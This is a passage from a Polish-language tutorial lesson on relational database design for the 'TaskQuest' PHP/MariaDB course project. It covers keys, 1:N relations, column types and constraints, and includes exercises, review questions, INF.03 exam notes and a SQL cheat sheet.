<p class="wp-block-paragraph">Nowe narzędzia: pojęcia bazy relacyjnej (tabela, kolumna, wiersz, klucz główny, klucz obcy, relacja 1:N), SQL: <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO ... VALUES</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code>; typy <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT UNSIGNED</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY ... REFERENCES ... ON DELETE CASCADE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code>; w PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">class_exists()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHP_VERSION</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 18 wymaganych plików + sekcja „Baza danych”,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.7</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<p class="wp-block-paragraph">Nic.</p>



<h3 class="wp-block-heading">Świadome decyzje projektowe</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Decyzja</th><th>Dlaczego</th></tr></thead><tbody><tr><td>nazwy po polsku, <em>snake_case</em></td><td>te same słowa co w PHP i CSV (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>); <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code></td></tr><tr><td>brak kolumn <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul_gracza</code></td><td>obliczane z XP, bo zapisane obok XP mogłyby sobie przeczyć</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> obliczamy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">!== null</code>); jedna kolumna nie może przeczyć sama sobie; daje datę potrzebną do prawdziwego streaka</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> jako klucz główny użytkownika, login <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code></td><td>klucz się nie zmienia, login jest widoczny i mógłby się zmienić</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> już teraz (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>)</td><td>tabelę użytkowników projektujemy raz; hasła od Lekcji 19</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">opis NOT NULL DEFAULT ''</code></td><td>brak opisu to pusty tekst, jak w klasie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">string $opis</code>)</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 17 TaskQuest ma zaprojektowaną i zbudowaną bazę danych: tabelę użytkowników i tabelę zadań połączone relacją 1:N. Każde zadanie ma właściciela, a baza sama pilnuje unikalnych loginów, poprawnych dat, długości tekstów, nieujemnych XP i tego, żeby zadanie nie należało do nieistniejącego użytkownika. Całą strukturę i dane testowe odtwarza jeden skrypt <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> potwierdza, że PHP ma rozszerzenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. Sama aplikacja działa jeszcze tak jak po Lekcji 15 i czyta CSV. W Lekcji 18 przełączymy ją na bazę.</p>
</blockquote>



<h1 class="wp-block-heading">11. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Zadania nie są częścią wersji referencyjnej. Każde zapisuj w osobnym pliku SQL, żeby nie zepsuć <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<p class="wp-block-paragraph"><strong>A. Odznaki: relacja „wiele do wielu”.</strong> TaskQuest ma przyznawać odznaki („Pierwsza piątka”, „Tydzień bez przerwy”&#8230;). Jeden użytkownik może mieć wiele odznak, a jedną odznakę może mieć wielu użytkowników.</p>



<ol class="wp-block-list">
<li>Dlaczego ani kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaka_id</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki</code> tego nie rozwiąże?</li>



<li>W pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/odznaki.sql</code> zaprojektuj tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa</code> unikalna, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>) i <strong>tabelę pośrednią</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy_odznaki</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaka_id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_zdobycia</code>) z dwoma kluczami obcymi. Klucz główny tabeli pośredniej to <strong>para</strong> kolumn: <code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY (uzytkownik_id, odznaka_id)</code>. Co taki klucz uniemożliwia?</li>



<li>Dodaj 2 odznaki i przyznaj Kamie jedną z nich.</li>



<li>Uruchom teraz ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Co się stało i dlaczego? (Podpowiedź: Eksperyment 1.) Jak musiałby wyglądać początek <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>, gdyby odznaki weszły do projektu?</li>
</ol>



<p class="wp-block-paragraph"><strong>B. Baza pilnuje zakresu XP.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> odrzuca liczby ujemne, ale przepuszcza <code class="prettyprint lang-sql" style="font-size: 0.85em;">500</code>. Sprawdź wersję serwera (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT VERSION();</code>), a potem w kopii definicji tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> dodaj regułę <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK (xp BETWEEN 1 AND 100)</code>. Przetestuj wstawienie zadania z XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">100</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">101</code>. Obowiązkowo sprawdź w dokumentacji MariaDB (albo MySQL, zależnie od wyniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">VERSION()</code>), od której wersji <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK</code> jest naprawdę <strong>egzekwowane</strong>, a nie tylko akceptowane w składni.</p>



<p class="wp-block-paragraph"><strong>C. Diagram bazy.</strong> phpMyAdmin ma narzędzie <strong>Designer</strong> (w polskim interfejsie: <em>Projektant</em>; baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → <em>Więcej</em>). Otwórz go, ułóż tabele czytelnie i zrób zrzut ekranu. Na diagramie wskaż: klucz główny każdej tabeli, klucz obcy i stronę „1” oraz „N” relacji.</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<p class="wp-block-paragraph">Gdy testy przeszły i wykonane są eksperymenty:</p>



<ol class="wp-block-list">
<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>,</li>



<li>uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>: baza ma zawierać tylko dane testowe,</li>



<li>sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> i kolejność <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP</code> w pliku są przywrócone (Eksperymenty 1, 2),</li>



<li>sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (działa jak po L15) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (18 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>).</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię wymienić trzy problemy CSV, które rozwiązuje baza danych.
&#91; ] Potrafię wyjaśnić na przykładzie TaskQuest: tabela, kolumna, wiersz, klucz główny, klucz obcy.
&#91; ] Wiem, dlaczego klucz obcy uzytkownik_id jest w tabeli zadania, a nie w uzytkownicy.
&#91; ] Potrafię dobrać typ kolumny (INT UNSIGNED, VARCHAR(n), DATE) i zdecydować o NULL / NOT NULL.
&#91; ] Wiem, czym NULL różni się od '' i od 'NULL'.
&#91; ] Potrafię wyjaśnić, dlaczego w bazie nie ma poziomu ani kolumny wykonane.
&#91; ] Mam bazę taskquest (utf8mb4_unicode_ci) i plik sql/taskquest.sql, który działa przy każdym uruchomieniu.
&#91; ] Testy 2–5 kończą się oczekiwanymi błędami (albo wiem, dlaczego u mnie nie).
&#91; ] Potrafię zbudować obiekt Zadanie z wiersza z kolumną data_wykonania (sekcja 6).
&#91; ] diagnostyka.php pokazuje 18 × &#91;OK] i mysqli &#91;OK].
&#91; ] Aplikacja działa jak po Lekcji 15 i wiem, że jeszcze nie korzysta z bazy.
&#91; ] Usunęłam/usunąłem brudnopis.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li><p>Kuba i Ola dodają zadanie w tej samej sekundzie. Co może się stać w TaskQuest 1.5 (CSV) i dlaczego w bazie ten problem nie występuje w ten sam sposób?</p></li>



<li><p>Dlaczego zadanie ma kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a użytkownik nie ma kolumny z listą swoich zadań?</p></li>



<li><p>Przewidź wynik każdego polecenia (przyjęty / błąd, jaki?), gdy w bazie są tylko Kama (id 1) i Ola (id 2):<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (2, 'A', '2026-10-01', 5);<br />INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (3, 'B', '2026-10-01', 5);<br />INSERT INTO uzytkownicy (login, imie) VALUES ('ola_tq', 'Ola 2');<br />INSERT INTO uzytkownicy (login, imie) VALUES ('Nowy_1', 'Nowy');<br /></code>Jakie XP i jaki streak będzie miał użytkownik <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code>? Skąd to wiadomo?<span style="color: initial;"></span></p></li>



<li><p>Kolega proponuje dodać do <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom INT</code>, „żeby nie liczyć za każdym razem”. Podaj konkretny przykład danych, które wtedy mogą sobie przeczyć, i wskaż, który fragment kodu TaskQuest już ten poziom liczy.</p></li>



<li><p>Czym różnią się dla bazy te trzy wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>? Która oznacza zadanie niewykonane?<span style="color: initial;"></span></p></li>



<li><p>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> jest błąd. Znajdź go (są dwa).<code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania (<br />    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,<br />    uzytkownik_id INT NOT NULL,<br />    tytul VARCHAR(100) NOT NULL,<br />    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE,<br />) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;<br /></code></p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> zaczyna się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS zadania</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">... uzytkownicy</code>? Co by się stało na szkolnym serwerze z prawdziwymi danymi uczniów, gdyby ktoś uruchomił ten skrypt?</p></li>



<li><p>W Lekcji 18 z bazy przyjdzie wiersz <code class="prettyprint lang-sql" style="font-size: 0.85em;">['id' =&gt; 7, 'tytul' =&gt; 'X', ..., 'data_wykonania' =&gt; '2026-09-21', ...]</code>. Napisz fragment tworzenia obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, który ustawia <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>. Czy klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> musi się zmienić? Dlaczego nie?</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. Czy to znaczy, że TaskQuest połączy się z bazą? Czego ta diagnostyka jeszcze nie sprawdza?</p></li>



<li><p>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code> z poradnika z 2012 roku nie zadziała w Twoim PHP, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">class_exists('mysqli')</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>? Co w Lekcji 18 napiszesz, żeby utworzyć połączenie</p></li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



<p class="wp-block-paragraph"><strong>Baza danych a plik</strong></p>



<ul class="wp-block-list">
<li>W pliku CSV <strong>każda wartość to tekst</strong>, a poprawności pilnuje wyłącznie kod PHP. W bazie każda kolumna ma <strong>typ i reguły</strong>, a baza sama odrzuca to, co ich nie spełnia.</li>



<li>Baza to <strong>druga linia obrony</strong>, a nie pierwsza. Walidacji w PHP nigdy nie usuwamy.</li>
</ul>



<p class="wp-block-paragraph"><strong>Kolumny i wartości</strong></p>



<ul class="wp-block-list">
<li>Definicja kolumny to zawsze: <strong>nazwa – typ – reguły</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to <strong>cztery różne rzeczy</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> = brak wartości, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> = istniejący pusty tekst, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> = napis.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> oznacza tylko „≥ 0”. <strong>Nie pilnuje zakresu</strong> (np. 1–100) — od tego jest walidacja w PHP albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK</code>.</li>



<li>Data w SQL: zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>. Teksty i daty w apostrofach, liczby i <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code> to <strong>maksymalna</strong> długość, nie stała.</li>
</ul>



<p class="wp-block-paragraph"><strong>Klucze i relacje</strong></p>



<ul class="wp-block-list">
<li><strong>Klucz główny</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code>) jednoznacznie wskazuje wiersz: zawsze unikalny i nigdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Kluczem robimy <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, a nie login — login jest widoczny i może się zmienić.</li>



<li><strong>Klucz obcy</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY</code>) wskazuje klucz główny innej tabeli. W relacji <strong>1:N klucz obcy zawsze stoi po stronie „N”</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>).</li>



<li>Typ kolumny klucza obcego musi być <strong>zgodny</strong> z typem klucza, na który wskazuje.</li>



<li>Klucze obce działają tylko przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> = usunięcie „rodzica” usuwa powiązane wiersze. Bez tej opcji baza <strong>odmówi</strong> usunięcia rodzica (<code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451</code>).</li>
</ul>



<p class="wp-block-paragraph"><strong>Kolejność poleceń</strong></p>



<ul class="wp-block-list">
<li>Usuwamy od tabel zależnych („N”), tworzymy od niezależnych („1”). W <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>: najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS zadania</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS</code> na początku skryptu pozwala uruchamiać go wiele razy — kosztem <strong>usunięcia wszystkich danych</strong>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Projekt danych</strong></p>



<ul class="wp-block-list">
<li>W bazie zapisujemy tylko to, czego <strong>nie da się obliczyć</strong> z innych danych (dlatego nie ma kolumn <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul_gracza</code>, ani <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>).</li>



<li>Dwie kolumny opisujące to samo prędzej czy później zaczną sobie przeczyć, a baza nie wie, która kłamie.</li>
</ul>



<p class="wp-block-paragraph"><strong>Kodowanie i porównywanie</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> mieści emoji (4 bajty), <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code> (dawne <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code>) nie — stąd błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1366</code>.</li>



<li>Metoda porównywania <code class="prettyprint lang-sql" style="font-size: 0.85em;">..._ci</code> (<em>case insensitive</em>) nie rozróżnia wielkości liter: przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">KAMA_2026</code> to <strong>ten sam</strong> login.</li>
</ul>



<p class="wp-block-paragraph"><strong>PHP i baza</strong></p>



<ul class="wp-block-list">
<li>Rozszerzenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code>) zostało <strong>usunięte w PHP 7.0</strong> — kod ze starych poradników nie zadziała.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> – tylko MySQL/MariaDB, dostępne proceduralnie i obiektowo. <code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO</code> – wiele silników baz, tylko obiektowo, parametry nazwane <code class="prettyprint lang-sql" style="font-size: 0.85em;">:nazwa</code>. W TaskQuest używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> <strong>obiektowo</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysqli')</code> mówi tylko, że PHP <strong>potrafi</strong> rozmawiać z bazą. Nie sprawdza serwera, danych dostępowych ani istnienia bazy.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<p class="wp-block-paragraph"><strong>Praca w phpMyAdmin (część praktyczna egzaminu):</strong></p>



<ul class="wp-block-list">
<li>utworzyć bazę o <strong>podanej w treści nazwie</strong> i z <strong>podanym zestawem znaków</strong> (w arkuszu: baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">wodospady</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8_unicode_ci</code> — na egzaminie stosuj zapis z polecenia, nawet jeśli różni się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> używanego w TaskQuest),</li>



<li>zaimportować tabele z gotowego pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> i rozpoznać, że import się powiódł,</li>



<li>zapisywać zapytania w pliku tekstowym i dokumentować wynik zrzutem ekranu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Projekt i struktura bazy:</strong></p>



<ul class="wp-block-list">
<li>określić pojęcia: encja, atrybut, związek encji, klucz relacji (u nas: tabela, kolumna, wiersz, klucz główny, klucz obcy),</li>



<li>odczytać z diagramu bazy tabele, klucze i <strong>liczebność relacji</strong>: 1:N oraz m:n realizowaną <strong>tabelą pośredniczącą</strong> (w arkuszu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">obiekty</code> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">osiagniecia</code> – <code class="prettyprint lang-sql" style="font-size: 0.85em;">turysci</code>; u nas to zadanie końcowe A z odznakami),</li>



<li>dobrać typ danych do atrybutu i wskazać klucz główny encji,</li>



<li>zdefiniować tabelę poleceniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code> z typami, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PRIMARY KEY</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY</code>,</li>



<li>wprowadzić dane poleceniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, w tym do tabeli, w której <strong>klucz podstawowy nadawany jest automatycznie</strong> (pomijamy kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li>Szkielet tabeli: <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE nazwa ( kolumna TYP REGUŁY, ... ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code> — <strong>bez przecinka po ostatniej pozycji</strong> (inaczej <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code>).</li>



<li>Klucz główny: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY</code>.</li>



<li>Klucz obcy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE</code> — jako <strong>ostatnia pozycja w nawiasie</strong>, po przecinku.</li>



<li>W relacji 1:N klucz obcy jest po stronie „N”.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> ≠ <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> ≠ <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> ≠ <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>.</li>



<li>Data to <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-10-05'</code>. Liczba bez apostrofów. <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> = „≥ 0”, nic więcej.</li>



<li>Tworzymy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>. Usuwamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>.</li>



<li>W bazie zapisujemy tylko dane, których nie da się obliczyć.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> nigdy nie wraca do zwolnionych numerów.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_*</code> nie istnieje od PHP 7. Zostają <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO</code>.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Typy kolumn</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>PHP</th><th>SQL</th><th>Uwaga</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> (nieujemny)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">INT UNSIGNED</code></td><td>zakresu nie pilnuje</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code> z limitem</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">n</code> = maksimum znaków</td></tr><tr><td>długi tekst</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">TEXT</code></td><td>bez limitu długości w definicji</td></tr><tr><td>data <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code></td><td>baza sprawdza kalendarz</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code></td><td>brak osobnego typu</td><td>zwykle <code class="prettyprint lang-sql" style="font-size: 0.85em;">TINYINT(1)</code> albo — jak u nas — kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE NULL</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Reguły kolumn</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL          -- wartość musi być podana
